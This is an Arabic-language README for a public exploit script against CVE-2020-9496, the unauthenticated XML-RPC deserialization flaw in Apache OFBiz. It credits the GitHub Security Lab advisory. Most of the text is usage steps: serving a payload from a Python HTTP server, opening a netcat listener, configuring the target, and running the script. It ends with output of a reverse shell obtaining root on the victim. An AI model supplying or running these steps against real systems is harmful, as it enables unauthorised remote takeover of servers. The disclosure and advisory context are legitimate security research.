s4dbrd/cve-2020-9496نص استغلال لثغرة إلغاء التسلسل غير الآمن CVE-2020-9496 في Apache OFBiz، مما يتيح تنفيذ الأوامر عن بُعد عبر طلبات XML-RPC مصممة خصيصًا مع تسليم حمولة قشرة عكسية.
نظرًا لأن الطلبين المرتبطين بـ xmlrpc في webtools (xmlrpc و ping) لا يستخدمان المصادقة، فهما عرضة لإلغاء التسلسل غير الآمن.
تم الإبلاغ عن هذه المشكلة إلى فريق الأمان بواسطة Alvaro Munoz [email protected] من فريق GitHub Security Lab.
المدونة الأصلية: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
منشور Apache: https://issues.apache.org/jira/browse/OFBIZ-11716
إثبات المفهوم من Github: https://github.com/g33xter/CVE-2020-9496
لكي يعمل هذا الاستغلال، ستحتاج إلى تنفيذ الخطوات التالية:
> sudo python3 -m http.server 80
> nc -nlvp 8001
url='https://127.0.0.1' # CHANGE THIS
port=8443 # CHANGE THIS
> ./cve-2020-9496.sh -i IP -p PORT
❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#